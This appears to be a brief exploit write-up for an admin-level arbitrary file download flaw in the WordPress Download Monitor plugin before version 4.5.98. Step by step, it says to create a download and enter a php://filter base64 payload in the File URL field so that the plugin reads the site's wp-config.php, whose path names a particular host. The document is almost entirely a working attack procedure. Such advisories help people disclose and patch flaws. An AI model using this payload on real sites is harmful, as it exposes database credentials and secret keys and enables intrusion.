Download Monitor < 4.5.98 - Admin+ Arbitrary File Download

Create a new download on:
https://target-site/wp-admin/post-new.php?post_type=dlm_download

Add the following payload to the "File URL(s); note: only enter multiple URLs in here if you want to use file mirrors" field when creating a new Download:
php://filter/convert.base64-encode/resource=/var/www/vhosts/developerspace.de/httpdocs/blog/wp-config.php

Navigate to the newly created download page.